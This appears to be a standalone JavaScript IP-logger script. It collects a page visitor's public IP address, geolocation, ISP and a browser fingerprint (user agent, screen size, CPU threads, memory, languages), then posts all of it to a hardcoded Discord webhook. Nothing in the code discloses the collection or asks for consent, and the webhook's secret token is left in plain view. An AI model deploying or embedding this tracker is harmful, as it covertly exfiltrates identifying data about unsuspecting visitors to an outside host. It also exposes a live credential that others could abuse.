I forgor
let echolog = {};
fetch("https://wtfismyip.com/json")
.then((response) => response.json())
.then((data) => {
let echolog = {
ipAddress: data.YourFuckingIPAddress,
location: data.YourFuckingLocation,
hostname: data.YourFuckingHostname,
isp: data.YourFuckingISP,
city: data.YourFuckingCity,
country: data.YourFuckingCountry,
countryCode: data.YourFuckingCountryCode,
userAgent: navigator.userAgent,
windowProp: Object.keys(window).length,
windowWidth: window.innerWidth,
windowHeight: window.innerHeight,
windowRatio: window.innerWidth / window.innerHeight,
screenWidth: window.screen.availWidth,
screenHeight: window.screen.availHeight,
screenRatio: window.screen.availWidth / window.screen.availHeight,
DPI: window.devicePixelRatio,
colorDepth: window.screen.colorDepth,
orientation: window.screen.orientation.type,
orientationAngle: window.screen.orientation.angle,
os: navigator.platform,
threads: navigator.hardwareConcurrency,
memory: navigator.deviceMemory,
systemLanguages: navigator.languages.join(", "),
languages: navigator.language,
};
// Set up the payload for the webhook
const payload = {
content: `IP Address: ${echolog.ipAddress}\nLocation: ${echolog.location}\nHostname: ${echolog.hostname}\nISP: ${echolog.isp}\nCity: ${echolog.city}\nCountry: ${echolog.country}\nCountry Code: ${echolog.countryCode}\nUser Agent: ${echolog.userAgent}\nWindow Properties: ${echolog.windowProp}\nWindow Width: ${echolog.windowWidth}\nWindow Height: ${echolog.windowHeight}\nWindow Ratio: ${echolog.windowRatio}\nScreen Width: ${echolog.screenWidth}\nScreen Height: ${echolog.screenHeight}\nScreen Ratio: ${echolog.screenRatio}\nDPI: ${echolog.DPI}\nColor Depth: ${echolog.colorDepth}\nOrientation: ${echolog.orientation}\nOrientation Angle: ${echolog.orientationAngle}\nOS: ${echolog.os}\nThreads: ${echolog.threads}\nMemory: ${echolog.memory}\nSystem Languages: ${echolog.systemLanguages}\nLanguages: ${echolog.languages}`,
};
// This is a lazy way of doing it, having
// your webhook url out in the open like
// this is a bad idea, you should instead
// have it contact a internal API to
// forward the request.
fetch("https://discord.com/api/webhooks/1233839950366118028/hr__QLuaLluVawUeTANOw0EdggAfT_eFLHtOSgJK9D8ymoMT6Q2syi0ghxVzyFk6SxEi", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(payload),
})
.then((response) => console.log(response))
.catch((error) => console.error(error));
})
.catch((error) => console.error(error));